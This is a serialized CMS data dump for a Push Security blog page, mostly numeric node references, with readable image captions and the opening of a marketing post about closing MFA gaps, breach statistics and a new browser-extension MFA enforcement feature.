0,"value":131991,"nodeType":865},{},[],{"data":153822,"content":153823,"nodeType":1616},{},[153824,153833,153842,153851,153860],{"data":153825,"content":153826,"nodeType":1570},{},[153827],{"data":153828,"content":153829,"nodeType":866},{},[153830],{"data":153831,"marks":153832,"value":132004,"nodeType":865},{},[],{"data":153834,"content":153835,"nodeType":1570},{},[153836],{"data":153837,"content":153838,"nodeType":866},{},[153839],{"data":153840,"marks":153841,"value":132014,"nodeType":865},{},[],{"data":153843,"content":153844,"nodeType":1570},{},[153845],{"data":153846,"content":153847,"nodeType":866},{},[153848],{"data":153849,"marks":153850,"value":132024,"nodeType":865},{},[],{"data":153852,"content":153853,"nodeType":1570},{},[153854],{"data":153855,"content":153856,"nodeType":866},{},[153857],{"data":153858,"marks":153859,"value":132034,"nodeType":865},{},[],{"data":153861,"content":153862,"nodeType":1570},{},[153863],{"data":153864,"content":153865,"nodeType":866},{},[153866],{"data":153867,"marks":153868,"value":132044,"nodeType":865},{},[],{"data":153870,"content":153871,"nodeType":866},{},[153872],{"data":153873,"marks":153874,"value":132051,"nodeType":865},{},[],{"data":153876,"content":153877,"nodeType":972},{},[],{"data":153879,"content":153880,"nodeType":981},{},[153881],{"data":153882,"marks":153883,"value":132061,"nodeType":865},{},[],{"data":153885,"content":153886,"nodeType":1317},{},[153887],{"data":153888,"marks":153889,"value":131568,"nodeType":865},{},[153890],{"type":926},{"data":153892,"content":153893,"nodeType":866},{},[153894,153897,153904],{"data":153895,"marks":153896,"value":21,"nodeType":865},{},[],{"data":153898,"content":153899,"nodeType":889},{"uri":132077},[153900],{"data":153901,"marks":153902,"value":132083,"nodeType":865},{},[153903],{"type":943},{"data":153905,"marks":153906,"value":132087,"nodeType":865},{},[],{"data":153908,"content":153909,"nodeType":866},{},[153910,153913,153920],{"data":153911,"marks":153912,"value":132094,"nodeType":865},{},[],{"data":153914,"content":153915,"nodeType":889},{"uri":132097},[153916],{"data":153917,"marks":153918,"value":132103,"nodeType":865},{},[153919],{"type":943},{"data":153921,"marks":153922,"value":132107,"nodeType":865},{},[],{"data":153924,"content":153925,"nodeType":866},{},[153926],{"data":153927,"marks":153928,"value":132114,"nodeType":865},{},[],{"data":153930,"content":153931,"nodeType":1317},{},[153932],{"data":153933,"marks":153934,"value":79801,"nodeType":865},{},[153935],{"type":926},{"data":153937,"content":153938,"nodeType":866},{},[153939],{"data":153940,"marks":153941,"value":132128,"nodeType":865},{},[],{"data":153943,"content":153944,"nodeType":866},{},[153945,153948,153956],{"data":153946,"marks":153947,"value":62364,"nodeType":865},{},[],{"data":153949,"content":153950,"nodeType":889},{"uri":62386},[153951],{"data":153952,"marks":153953,"value":132143,"nodeType":865},{},[153954,153955],{"type":943},{"type":926},{"data":153957,"marks":153958,"value":132147,"nodeType":865},{},[],{"data":153960,"content":153961,"nodeType":866},{},[153962],{"data":153963,"marks":153964,"value":132154,"nodeType":865},{},[],{"data":153966,"content":153967,"nodeType":866},{},[153968],{"data":153969,"marks":153970,"value":132161,"nodeType":865},{},[],{"data":153972,"content":153975,"nodeType":912},{"target":153973},{"sys":153974},{"id":123928,"type":909,"linkType":910},[],{"data":153977,"content":153980,"nodeType":912},{"target":153978},{"sys":153979},{"id":132171,"type":909,"linkType":910},[],{"data":153982,"content":153983,"nodeType":972},{},[],{"data":153985,"content":153986,"nodeType":981},{},[153987],{"data":153988,"marks":153989,"value":132182,"nodeType":865},{},[],{"data":153991,"content":153992,"nodeType":1317},{},[153993],{"data":153994,"marks":153995,"value":131568,"nodeType":865},{},[153996],{"type":926},{"data":153998,"content":153999,"nodeType":866},{},[154000],{"data":154001,"marks":154002,"value":132196,"nodeType":865},{},[],{"data":154004,"content":154005,"nodeType":866},{},[154006,154009,154016],{"data":154007,"marks":154008,"value":132203,"nodeType":865},{},[],{"data":154010,"content":154011,"nodeType":889},{"uri":132206},[154012],{"data":154013,"marks":154014,"value":132212,"nodeType":865},{},[154015],{"type":943},{"data":154017,"marks":154018,"value":132216,"nodeType":865},{},[],{"data":154020,"content":154021,"nodeType":7584},{},[154022],{"data":154023,"content":154024,"nodeType":866},{},[154025],{"data":154026,"marks":154027,"value":132226,"nodeType":865},{},[],{"data":154029,"content":154030,"nodeType":866},{},[154031,154034,154041],{"data":154032,"marks":154033,"value":132233,"nodeType":865},{},[],{"data":154035,"content":154036,"nodeType":889},{"uri":132077},[154037],{"data":154038,"marks":154039,"value":132241,"nodeType":865},{},[154040],{"type":943},{"data":154042,"marks":154043,"value":132245,"nodeType":865},{},[],{"data":154045,"content":154046,"nodeType":866},{},[154047],{"data":154048,"marks":154049,"value":132252,"nodeType":865},{},[],{"data":154051,"content":154052,"nodeType":866},{},[154053],{"data":154054,"marks":154055,"value":132259,"nodeType":865},{},[],{"data":154057,"content":154058,"nodeType":7584},{},[154059],{"data":154060,"content":154061,"nodeType":866},{},[154062],{"data":154063,"marks":154064,"value":132269,"nodeType":865},{},[],{"data":154066,"content":154067,"nodeType":1317},{},[154068],{"data":154069,"marks":154070,"value":79801,"nodeType":865},{},[154071],{"type":926},{"data":154073,"content":154074,"nodeType":866},{},[154075],{"data":154076,"marks":154077,"value":132283,"nodeType":865},{},[],{"data":154079,"content":154080,"nodeType":866},{},[154081,154084,154092],{"data":154082,"marks":154083,"value":132290,"nodeType":865},{},[],{"data":154085,"content":154086,"nodeType":889},{"uri":13526},[154087],{"data":154088,"marks":154089,"value":132299,"nodeType":865},{},[154090,154091],{"type":943},{"type":926},{"data":154093,"marks":154094,"value":132303,"nodeType":865},{},[],{"data":154096,"content":154099,"nodeType":912},{"target":154097},{"sys":154098},{"id":132308,"type":909,"linkType":910},[],{"data":154101,"content":154102,"nodeType":972},{},[],{"data":154104,"content":154105,"nodeType":981},{},[154106],{"data":154107,"marks":154108,"value":132319,"nodeType":865},{},[],{"data":154110,"content":154111,"nodeType":866},{},[154112],{"data":154113,"marks":154114,"value":132326,"nodeType":865},{},[],{"data":154116,"content":154117,"nodeType":866},{},[154118],{"data":154119,"marks":154120,"value":132333,"nodeType":865},{},[],{"data":154122,"content":154123,"nodeType":1616},{},[154124,154140,154156],{"data":154125,"content":154126,"nodeType":1570},{},[154127],{"data":154128,"content":154129,"nodeType":866},{},[154130,154133,154137],{"data":154131,"marks":154132,"value":132346,"nodeType":865},{},[],{"data":154134,"marks":154135,"value":132351,"nodeType":865},{},[154136],{"type":926},{"data":154138,"marks":154139,"value":132355,"nodeType":865},{},[],{"data":154141,"content":154142,"nodeType":1570},{},[154143],{"data":154144,"content":154145,"nodeType":866},{},[154146,154149,154153],{"data":154147,"marks":154148,"value":132365,"nodeType":865},{},[],{"data":154150,"marks":154151,"value":132370,"nodeType":865},{},[154152],{"type":926},{"data":154154,"marks":154155,"value":132374,"nodeType":865},{},[],{"data":154157,"content":154158,"nodeType":1570},{},[154159],{"data":154160,"content":154161,"nodeType":866},{},[154162,154165,154169,154172,154179],{"data":154163,"marks":154164,"value":132384,"nodeType":865},{},[],{"data":154166,"marks":154167,"value":132389,"nodeType":865},{},[154168],{"type":926},{"data":154170,"marks":154171,"value":132393,"nodeType":865},{},[],{"data":154173,"content":154174,"nodeType":889},{"uri":6710},[154175],{"data":154176,"marks":154177,"value":6715,"nodeType":865},{},[154178],{"type":943},{"data":154180,"marks":154181,"value":132404,"nodeType":865},{},[],{"data":154183,"content":154184,"nodeType":866},{},[154185],{"data":154186,"marks":154187,"value":132411,"nodeType":865},{},[],{"data":154189,"content":154190,"nodeType":866},{},[154191],{"data":154192,"marks":154193,"value":132418,"nodeType":865},{},[],{"data":154195,"content":154196,"nodeType":866},{},[154197],{"data":154198,"marks":154199,"value":132425,"nodeType":865},{},[],{"data":154201,"content":154202,"nodeType":1317},{},[154203],{"data":154204,"marks":154205,"value":132433,"nodeType":865},{},[154206],{"type":926},{"data":154208,"content":154209,"nodeType":866},{},[154210,154213,154221],{"data":154211,"marks":154212,"value":132440,"nodeType":865},{},[],{"data":154214,"content":154215,"nodeType":889},{"uri":132443},[154216],{"data":154217,"marks":154218,"value":132450,"nodeType":865},{},[154219,154220],{"type":943},{"type":926},{"data":154222,"marks":154223,"value":132454,"nodeType":865},{},[],{"data":154225,"content":154226,"nodeType":866},{},[154227],{"data":154228,"marks":154229,"value":132461,"nodeType":865},{},[],{"data":154231,"content":154234,"nodeType":912},{"target":154232},{"sys":154233},{"id":132466,"type":909,"linkType":910},[],{"data":154236,"content":154237,"nodeType":1317},{},[154238,154242],{"data":154239,"marks":154240,"value":132475,"nodeType":865},{},[154241],{"type":926},{"data":154243,"marks":154244,"value":2688,"nodeType":865},{},[],{"data":154246,"content":154247,"nodeType":866},{},[154248,154251,154259],{"data":154249,"marks":154250,"value":132485,"nodeType":865},{},[],{"data":154252,"content":154253,"nodeType":889},{"uri":132488},[154254],{"data":154255,"marks":154256,"value":132495,"nodeType":865},{},[154257,154258],{"type":943},{"type":926},{"data":154260,"marks":154261,"value":132499,"nodeType":865},{},[],{"data":154263,"content":154264,"nodeType":866},{},[154265],{"data":154266,"marks":154267,"value":132506,"nodeType":865},{},[],{"data":154269,"content":154270,"nodeType":1317},{},[154271],{"data":154272,"marks":154273,"value":132514,"nodeType":865},{},[154274],{"type":926},{"data":154276,"content":154277,"nodeType":866},{},[154278,154281,154289],{"data":154279,"marks":154280,"value":132521,"nodeType":865},{},[],{"data":154282,"content":154283,"nodeType":889},{"uri":132524},[154284],{"data":154285,"marks":154286,"value":58363,"nodeType":865},{},[154287,154288],{"type":943},{"type":926},{"data":154290,"marks":154291,"value":132534,"nodeType":865},{},[],{"data":154293,"content":154294,"nodeType":866},{},[154295],{"data":154296,"marks":154297,"value":132541,"nodeType":865},{},[],{"data":154299,"content":154300,"nodeType":866},{},[154301],{"data":154302,"marks":154303,"value":132548,"nodeType":865},{},[],{"data":154305,"content":154308,"nodeType":912},{"target":154306},{"sys":154307},{"id":132553,"type":909,"linkType":910},[],{"data":154310,"content":154311,"nodeType":972},{},[],{"data":154313,"content":154314,"nodeType":981},{},[154315],{"data":154316,"marks":154317,"value":132564,"nodeType":865},{},[],{"data":154319,"content":154320,"nodeType":866},{},[154321,154324,154330],{"data":154322,"marks":154323,"value":132571,"nodeType":865},{},[],{"data":154325,"content":154326,"nodeType":889},{"uri":16069},[154327],{"data":154328,"marks":154329,"value":132578,"nodeType":865},{},[],{"data":154331,"marks":154332,"value":132582,"nodeType":865},{},[],{"entries":154334},{"hyperlink":154335,"inline":154336,"block":154337},[],[],[154338,154345,154349,154355,154358,154385,154391,154398],{"sys":154339,"__typename":1390,"title":154340,"caption":154341,"layoutMode":59,"file":154342},{"id":131602},"Managed vs. unmanaged IdPs","Managed IdPs can be administered centrally by the organization (which owns and operates the IdP and the identities on it), whereas unmanaged ‘social’ IdPs are controlled by the vendor, and identities are owned and administered by the user.",{"url":154343,"width":65390,"height":154344},"https://images.ctfassets.net/y1cdw1ablpvd/6qDjvYcLbUxlC4w24VvDLO/4da66c4e755c9b1c00b285a5ab3f9c57/image1.png",1000,{"sys":154346,"__typename":1390,"title":154347,"caption":154347,"layoutMode":59,"file":154348},{"id":131711},"Customizable block screen that end-users will see if they attempt to enter their SSO password into any login that’s not their IdP.",{"url":87720,"width":87721,"height":87722},{"sys":154350,"__typename":1390,"title":154351,"caption":154352,"layoutMode":59,"file":154353},{"id":131911},"How Push stops phishing attacks","How Push stops phishing attacks with layered anti-phishing controls.",{"url":154354,"width":142241,"height":142242},"https://images.ctfassets.net/y1cdw1ablpvd/2CPV9LSQGHdFgmTxyF1c6s/c1ddb7eb7352ad7a161e447a8fa400e6/image1.png",{"sys":154356,"__typename":1390,"title":129360,"caption":129360,"layoutMode":59,"file":154357},{"id":123928},{"url":129362,"width":55424,"height":129363},{"sys":154359,"__typename":5503,"content":154360,"name":154384,"title":59},{"id":132171},{"json":154361},{"data":154362,"content":154363,"nodeType":1382},{},[154364],{"data":154365,"content":154366,"nodeType":866},{},[154367,154371,154380],{"data":154368,"marks":154369,"value":154370,"nodeType":865},{},[],"A bonus for Panther users: Push also ",{"data":154372,"content":154374,"nodeType":889},{"uri":154373},"https://pushsecurity.com/blog/combining-the-powers-of-push-and-panther-to-stop-identity-attacks/",[154375],{"data":154376,"marks":154377,"value":154379,"nodeType":865},{},[154378],{"type":943},"partnered with Panther",{"data":154381,"marks":154382,"value":154383,"nodeType":865},{},[]," last year to deliver a detection pack for identity attacks, including for session token theft events, which will get you up and running quickly in your SIEM without needing to write custom detections.","A bonus for Panther users: Push also partnered with Panther last year to deliver a detection pack for identity attacks, including for session token theft events, which will get you up and running quickly in your SIEM.",{"sys":154386,"__typename":1390,"title":154387,"caption":154388,"layoutMode":59,"file":154389},{"id":132308},"How Push identifies verified stolen credential detections in use across workforce identities","How Push identifies verified stolen credential detections in use across workforce identities.",{"url":154390,"width":129357,"height":90606},"https://images.ctfassets.net/y1cdw1ablpvd/6jg3sNxb7fQe1Hqj18yfb2/c11687d77697c0ecc09aaefab0ef435c/image3.png",{"sys":154392,"__typename":1390,"title":154393,"caption":154394,"layoutMode":59,"file":154395},{"id":132466},"App banner require reason mode","App banners \"require reason\" mode.",{"url":154396,"width":154397,"height":47178},"https://images.ctfassets.net/y1cdw1ablpvd/3ZWyyglvBRrvY6bCZWidMM/fcb34c101d390f5315c70e8cb6486a26/banner_branded_reason.png",1274,{"sys":154399,"__typename":1390,"title":154400,"caption":154401,"layoutMode":59,"file":154402},{"id":132553},"MFA enforcement feature in action. ","MFA enforcement feature in action.",{"url":87713,"width":87714,"height":87715},{"items":154404},[],{},"Features we built to stop account takeover in 2024",{"items":154408},[154409,154959,155607],{"__typename":1429,"sys":154410,"content":154411,"title":126565,"synopsis":149801,"hashTags":59,"publishedDate":149802,"slug":126566,"tagsCollection":154951,"authorsCollection":154955},{"id":126179},{"json":154412},{"data":154413,"content":154414,"nodeType":1382},{},[154415,154421,154427,154433,154449,154455,154461,154464,154471,154477,154483,154489,154494,154500,154503,154510,154516,154522,154528,154534,154539,154545,154548,154555,154562,154568,154574,154580,154596,154603,154609,154615,154621,154627,154634,154640,154646,154651,154654,154661,154667,154673,154679,154685,154691,154694,154701,154707,154713,154719,154725,154731,154829,154842,154848,154853,154856,154863,154869,154929,154935],{"data":154416,"content":154417,"nodeType":866},{},[154418],{"data":154419,"marks":154420,"value":149193,"nodeType":865},{},[],{"data":154422,"content":154423,"nodeType":866},{},[154424],{"data":154425,"marks":154426,"value":149200,"nodeType":865},{},[],{"data":154428,"content":154429,"nodeType":866},{},[154430],{"data":154431,"marks":154432,"value":149207,"nodeType":865},{},[],{"data":154434,"content":154435,"nodeType":866},{},[154436,154439,154446],{"data":154437,"marks":154438,"value":149214,"nodeType":865},{},[],{"data":154440,"content":154441,"nodeType":889},{"uri":149217},[154442],{"data":154443,"marks":154444,"value":149223,"nodeType":865},{},[154445],{"type":943},{"data":154447,"marks":154448,"value":1615,"nodeType":865},{},[],{"data":154450,"content":154451,"nodeType":866},{},[154452],{"data":154453,"marks":154454,"value":149233,"nodeType":865},{},[],{"data":154456,"content":154457,"nodeType":866},{},[154458],{"data":154459,"marks":154460,"value":149240,"nodeType":865},{},[],{"data":154462,"content":154463,"nodeType":972},{},[],{"data":154465,"content":154466,"nodeType":981},{},[154467],{"data":154468,"marks":154469,"value":149251,"nodeType":865},{},[154470],{"type":926},{"data":154472,"content":154473,"nodeType":866},{},[154474],{"data":154475,"marks":154476,"value":149258,"nodeType":865},{},[],{"data":154478,"content":154479,"nodeType":866},{},[154480],{"data":154481,"marks":154482,"value":149265,"nodeType":865},{},[],{"data":154484,"content":154485,"nodeType":866},{},[154486],{"data":154487,"marks":154488,"value":149272,"nodeType":865},{},[],{"data":154490,"content":154493,"nodeType":912},{"target":154491},{"sys":154492},{"id":149277,"type":909,"linkType":910},[],{"data":154495,"content":154496,"nodeType":866},{},[154497],{"data":154498,"marks":154499,"value":149285,"nodeType":865},{},[],{"data":154501,"content":154502,"nodeType":972},{},[],{"data":154504,"content":154505,"nodeType":981},{},[154506],{"data":154507,"marks":154508,"value":149296,"nodeType":865},{},[154509],{"type":926},{"data":154511,"content":154512,"nodeType":866},{},[154513],{"data":154514,"marks":154515,"value":149303,"nodeType":865},{},[],{"data":154517,"content":154518,"nodeType":866},{},[154519],{"data":154520,"marks":154521,"value":149310,"nodeType":865},{},[],{"data":154523,"content":154524,"nodeType":866},{},[154525],{"data":154526,"marks":154527,"value":149317,"nodeType":865},{},[],{"data":154529,"content":154530,"nodeType":866},{},[154531],{"data":154532,"marks":154533,"value":149324,"nodeType":865},{},[],{"data":154535,"content":154538,"nodeType":912},{"target":154536},{"sys":154537},{"id":149329,"type":909,"linkType":910},[],{"data":154540,"content":154541,"nodeType":866},{},[154542],{"data":154543,"marks":154544,"value":149337,"nodeType":865},{},[],{"data":154546,"content":154547,"nodeType":972},{},[],{"data":154549,"content":154550,"nodeType":981},{},[154551],{"data":154552,"marks":154553,"value":149348,"nodeType":865},{},[154554],{"type":926},{"data":154556,"content":154557,"nodeType":1317},{},[154558],{"data":154559,"marks":154560,"value":149356,"nodeType":865},{},[154561],{"type":926},{"data":154563,"content":154564,"nodeType":866},{},[154565],{"data":154566,"marks":154567,"value":149363,"nodeType":865},{},[],{"data":154569,"content":154570,"nodeType":866},{},[154571],{"data":154572,"marks":154573,"value":149370,"nodeType":865},{},[],{"data":154575,"content":154576,"nodeType":866},{},[154577],{"data":154578,"marks":154579,"value":149377,"nodeType":865},{},[],{"data":154581,"content":154582,"nodeType":866},{},[154583,154586,154593],{"data":154584,"marks":154585,"value":149384,"nodeType":865},{},[],{"data":154587,"content":154588,"nodeType":889},{"uri":139406},[154589],{"data":154590,"marks":154591,"value":149392,"nodeType":865},{},[154592],{"type":943},{"data":154594,"marks":154595,"value":149396,"nodeType":865},{},[],{"data":154597,"content":154598,"nodeType":1317},{},[154599],{"data":154600,"marks":154601,"value":149404,"nodeType":865},{},[154602],{"type":926},{"data":154604,"content":154605,"nodeType":866},{},[154606],{"data":154607,"marks":154608,"value":149411,"nodeType":865},{},[],{"data":154610,"content":154611,"nodeType":866},{},[154612],{"data":154613,"marks":154614,"value":149418,"nodeType":865},{},[],{"data":154616,"content":154617,"nodeType":866},{},[154618],{"data":154619,"marks":154620,"value":149425,"nodeType":865},{},[],{"data":154622,"content":154623,"nodeType":866},{},[154624],{"data":154625,"marks":154626,"value":149432,"nodeType":865},{},[],{"data":154628,"content":154629,"nodeType":1317},{},[154630],{"data":154631,"marks":154632,"value":149440,"nodeType":865},{},[154633],{"type":926},{"data":154635,"content":154636,"nodeType":866},{},[154637],{"data":154638,"marks":154639,"value":149447,"nodeType":865},{},[],{"data":154641,"content":154642,"nodeType":866},{},[154643],{"data":154644,"marks":154645,"value":149454,"nodeType":865},{},[],{"data":154647,"content":154650,"nodeType":912},{"target":154648},{"sys":154649},{"id":149459,"type":909,"linkType":910},[],{"data":154652,"content":154653,"nodeType":972},{},[],{"data":154655,"content":154656,"nodeType":981},{},[154657],{"data":154658,"marks":154659,"value":149471,"nodeType":865},{},[154660],{"type":926},{"data":154662,"content":154663,"nodeType":866},{},[154664],{"data":154665,"marks":154666,"value":149478,"nodeType":865},{},[],{"data":154668,"content":154669,"nodeType":866},{},[154670],{"data":154671,"marks":154672,"value":149485,"nodeType":865},{},[],{"data":154674,"content":154675,"nodeType":866},{},[154676],{"data":154677,"marks":154678,"value":149492,"nodeType":865},{},[],{"data":154680,"content":154681,"nodeType":866},{},[154682],{"data":154683,"marks":154684,"value":149499,"nodeType":865},{},[],{"data":154686,"content":154687,"nodeType":866},{},[154688],{"data":154689,"marks":154690,"value":149506,"nodeType":865},{},[],{"data":154692,"content":154693,"nodeType":972},{},[],{"data":154695,"content":154696,"nodeType":981},{},[154697],{"data":154698,"marks":154699,"value":149517,"nodeType":865},{},[154700],{"type":926},{"data":154702,"content":154703,"nodeType":866},{},[154704],{"data":154705,"marks":154706,"value":149524,"nodeType":865},{},[],{"data":154708,"content":154709,"nodeType":866},{},[154710],{"data":154711,"marks":154712,"value":149531,"nodeType":865},{},[],{"data":154714,"content":154715,"nodeType":866},{},[154716],{"data":154717,"marks":154718,"value":149538,"nodeType":865},{},[],{"data":154720,"content":154721,"nodeType":866},{},[154722],{"data":154723,"marks":154724,"value":149545,"nodeType":865},{},[],{"data":154726,"content":154727,"nodeType":866},{},[154728],{"data":154729,"marks":154730,"value":149552,"nodeType":865},{},[],{"data":154732,"content":154733,"nodeType":1616},{},[154734,154753,154772,154791,154810],{"data":154735,"content":154736,"nodeType":1570},{},[154737],{"data":154738,"content":154739,"nodeType":866},{},[154740,154743,154750],{"data":154741,"marks":154742,"value":149565,"nodeType":865},{},[],{"data":154744,"content":154745,"nodeType":889},{"uri":4147},[154746],{"data":154747,"marks":154748,"value":53721,"nodeType":865},{},[154749],{"type":943},{"data":154751,"marks":154752,"value":46245,"nodeType":865},{},[],{"data":154754,"content":154755,"nodeType":1570},{},[154756],{"data":154757,"content":154758,"nodeType":866},{},[154759,154762,154769],{"data":154760,"marks":154761,"value":149585,"nodeType":865},{},[],{"data":154763,"content":154764,"nodeType":889},{"uri":149588},[154765],{"data":154766,"marks":154767,"value":149594,"nodeType":865},{},[154768],{"type":943},{"data":154770,"marks":154771,"value":46245,"nodeType":865},{},[],{"data":154773,"content":154774,"nodeType":1570},{},[154775],{"data":154776,"content":154777,"nodeType":866},{},[154778,154781,154788],{"data":154779,"marks":154780,"value":149607,"nodeType":865},{},[],{"data":154782,"content":154783,"nodeType":889},{"uri":149610},[154784],{"data":154785,"marks":154786,"value":149616,"nodeType":865},{},[154787],{"type":943},{"data":154789,"marks":154790,"value":46245,"nodeType":865},{},[],{"data":154792,"content":154793,"nodeType":1570},{},[154794],{"data":154795,"content":154796,"nodeType":866},{},[154797,154800,154807],{"data":154798,"marks":154799,"value":149629,"nodeType":865},{},[],{"data":154801,"content":154802,"nodeType":889},{"uri":131785},[154803],{"data":154804,"marks":154805,"value":8641,"nodeType":865},{},[154806],{"type":943},{"data":154808,"marks":154809,"value":46245,"nodeType":865},{},[],{"data":154811,"content":154812,"nodeType":1570},{},[154813],{"data":154814,"content":154815,"nodeType":866},{},[154816,154819,154826],{"data":154817,"marks":154818,"value":149649,"nodeType":865},{},[],{"data":154820,"content":154821,"nodeType":889},{"uri":149652},[154822],{"data":154823,"marks":154824,"value":149658,"nodeType":865},{},[154825],{"type":943},{"data":154827,"marks":154828,"value":46245,"nodeType":865},{},[],{"data":154830,"content":154831,"nodeType":866},{},[154832,154835,154839],{"data":154833,"marks":154834,"value":149668,"nodeType":865},{},[],{"data":154836,"marks":154837,"value":149673,"nodeType":865},{},[154838],{"type":926},{"data":154840,"marks":154841,"value":149677,"nodeType":865},{},[],{"data":154843,"content":154844,"nodeType":866},{},[154845],{"data":154846,"marks":154847,"value":149684,"nodeType":865},{},[],{"data":154849,"content":154852,"nodeType":912},{"target":154850},{"sys":154851},{"id":149689,"type":909,"linkType":910},[],{"data":154854,"content":154855,"nodeType":972},{},[],{"data":154857,"content":154858,"nodeType":981},{},[154859],{"data":154860,"marks":154861,"value":149701,"nodeType":865},{},[154862],{"type":926},{"data":154864,"content":154865,"nodeType":866},{},[154866],{"data":154867,"marks":154868,"value":149708,"nodeType":865},{},[],{"data":154870,"content":154871,"nodeType":1616},{},[154872,154901,154920],{"data":154873,"content":154874,"nodeType":1570},{},[154875],{"data":154876,"content":154877,"nodeType":866},{},[154878,154881,154888,154891,154898],{"data":154879,"marks":154880,"value":21,"nodeType":865},{},[],{"data":154882,"content":154883,"nodeType":889},{"uri":13526},[154884],{"data":154885,"marks":154886,"value":149728,"nodeType":865},{},[154887],{"type":943},{"data":154889,"marks":154890,"value":149732,"nodeType":865},{},[],{"data":154892,"content":154893,"nodeType":889},{"uri":131722},[154894],{"data":154895,"marks":154896,"value":149740,"nodeType":865},{},[154897],{"type":943},{"data":154899,"marks":154900,"value":149744,"nodeType":865},{},[],{"data":154902,"content":154903,"nodeType":1570},{},[154904],{"data":154905,"content":154906,"nodeType":866},{},[154907,154910,154917],{"data":154908,"marks":154909,"value":21,"nodeType":865},{},[],{"data":154911,"content":154912,"nodeType":889},{"uri":62386},[154913],{"data":154914,"marks":154915,"value":149761,"nodeType":865},{},[154916],{"type":943},{"data":154918,"marks":154919,"value":149765,"nodeType":865},{},[],{"data":154921,"content":154922,"nodeType":1570},{},[154923],{"data":154924,"content":154925,"nodeType":866},{},[154926],{"data":154927,"marks":154928,"value":149775,"nodeType":865},{},[],{"data":154930,"content":154931,"nodeType":866},{},[154932],{"data":154933,"marks":154934,"value":149782,"nodeType":865},{},[],{"data":154936,"content":154937,"nodeType":866},{},[154938,154941,154948],{"data":154939,"marks":154940,"value":149789,"nodeType":865},{},[],{"data":154942,"content":154943,"nodeType":889},{"uri":1372},[154944],{"data":154945,"marks":154946,"value":149797,"nodeType":865},{},[154947],{"type":943},{"data":154949,"marks":154950,"value":1615,"nodeType":865},{},[],{"items":154952},[154953],{"sys":154954,"name":7796},{"id":7795},{"items":154956},[154957],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":154958},{"url":7804},{"__typename":1429,"sys":154960,"content":154961,"title":87635,"synopsis":155596,"hashTags":59,"publishedDate":132585,"slug":87636,"tagsCollection":155597,"authorsCollection":155603},{"id":80305},{"json":154962},{"data":154963,"content":154964,"nodeType":1382},{},[154965,154971,154974,154981,155004,155034,155044,155062,155069,155075,155082,155097,155104,155107,155114,155121,155140,155147,155192,155199,155205,155210,155217,155250,155264,155267,155274,155281,155288,155295,155302,155309,155316,155423,155428,155443,155450,155465,155498,155513,155519,155534,155540,155547,155554,155560,155567,155573,155579],{"data":154966,"content":154970,"nodeType":912},{"target":154967},{"sys":154968},{"id":154969,"type":909,"linkType":910},"1hUpsNwuhEXwSPijvRflTq",[],{"data":154972,"content":154973,"nodeType":972},{},[],{"data":154975,"content":154976,"nodeType":866},{},[154977],{"data":154978,"marks":154979,"value":154980,"nodeType":865},{},[],"There are two things every security operations engineer can agree on:",{"data":154982,"content":154983,"nodeType":1616},{},[154984,154994],{"data":154985,"content":154986,"nodeType":1570},{},[154987],{"data":154988,"content":154989,"nodeType":866},{},[154990],{"data":154991,"marks":154992,"value":154993,"nodeType":865},{},[],"Get MFA on every account on every app.",{"data":154995,"content":154996,"nodeType":1570},{},[154997],{"data":154998,"content":154999,"nodeType":866},{},[155000],{"data":155001,"marks":155002,"value":155003,"nodeType":865},{},[],"This is stupidly harder to achieve than it seems.",{"data":155005,"content":155006,"nodeType":866},{},[155007,155011,155019,155023,155030],{"data":155008,"marks":155009,"value":155010,"nodeType":865},{},[],"The penalties for failing to solve this hard simple problem are abundantly clear. Stolen credentials accounted for roughly half of the initial access methods observed this year across 30,000+ attacks, according to Verizon’s 2024 ",{"data":155012,"content":155013,"nodeType":889},{"uri":1063},[155014],{"data":155015,"marks":155016,"value":155018,"nodeType":865},{},[155017],{"type":943},"Data Breach Investigations Report",{"data":155020,"marks":155021,"value":155022,"nodeType":865},{},[],". And ",{"data":155024,"content":155025,"nodeType":889},{"uri":132206},[155026],{"data":155027,"marks":155028,"value":155029,"nodeType":865},{},[],"in a review of 30 publicly disclosed breaches involving identity attacks",{"data":155031,"marks":155032,"value":155033,"nodeType":865},{},[]," in 2024, we found that 73% (almost three-quarters) were the result of compromised credentials, with the rest the result of phishing. ",{"data":155035,"content":155036,"nodeType":7584},{},[155037],{"data":155038,"content":155039,"nodeType":866},{},[155040],{"data":155041,"marks":155042,"value":155043,"nodeType":865},{},[],"Three-quarters of publicly disclosed breaches involving identity attacks in 2024 involved compromised credentials and missing MFA.",{"data":155045,"content":155046,"nodeType":866},{},[155047,155051,155058],{"data":155048,"marks":155049,"value":155050,"nodeType":865},{},[],"In the case of the ",{"data":155052,"content":155053,"nodeType":889},{"uri":3488},[155054],{"data":155055,"marks":155056,"value":13502,"nodeType":865},{},[155057],{"type":943},{"data":155059,"marks":155060,"value":155061,"nodeType":865},{},[]," earlier this year, a lack of MFA meant the difference between an enormous and murky firefight to clean up accounts breached with legitimate credentials, and a decent night’s sleep. The result was hundreds of millions of breached customer records, nine publicly named victims, and at least one ransom paid.",{"data":155063,"content":155064,"nodeType":866},{},[155065],{"data":155066,"marks":155067,"value":155068,"nodeType":865},{},[],"“Do you know how many accounts we have on this third-party service, who owns them, how many tenants, whether those creds are shared elsewhere, and their security posture?” is not a fun question to answer on a Friday. ",{"data":155070,"content":155074,"nodeType":912},{"target":155071},{"sys":155072},{"id":155073,"type":909,"linkType":910},"6hg6PLXWMZaEDnGekHEzmD",[],{"data":155076,"content":155077,"nodeType":866},{},[155078],{"data":155079,"marks":155080,"value":155081,"nodeType":865},{},[],"For SecOps teams we’ve helped here at Push that responded to incidents affecting third-party apps (like Snowflake), the first item on the recovery plan is to finally solve that hard simple problem: No more MFA gaps.",{"data":155083,"content":155084,"nodeType":866},{},[155085,155089,155093],{"data":155086,"marks":155087,"value":155088,"nodeType":865},{},[],"With our latest feature release, ",{"data":155090,"marks":155091,"value":58363,"nodeType":865},{},[155092],{"type":926},{"data":155094,"marks":155095,"value":155096,"nodeType":865},{},[],", this is so much easier. With MFA enforcement, Push administrators can configure a control to prompt employees to enroll in MFA whenever Push detects that they’re not registered — even on apps that don’t natively provide any administrative enforcement option for MFA. This capability is made possible by the Push browser extension, which uses in-browser messaging and simple workflows to guide users right where they work.",{"data":155098,"content":155099,"nodeType":866},{},[155100],{"data":155101,"marks":155102,"value":155103,"nodeType":865},{},[],"In this article, we’ll cover how Push helps you identify and close MFA gaps, how our new enforcement feature is one part of that solution, and how you can test the platform 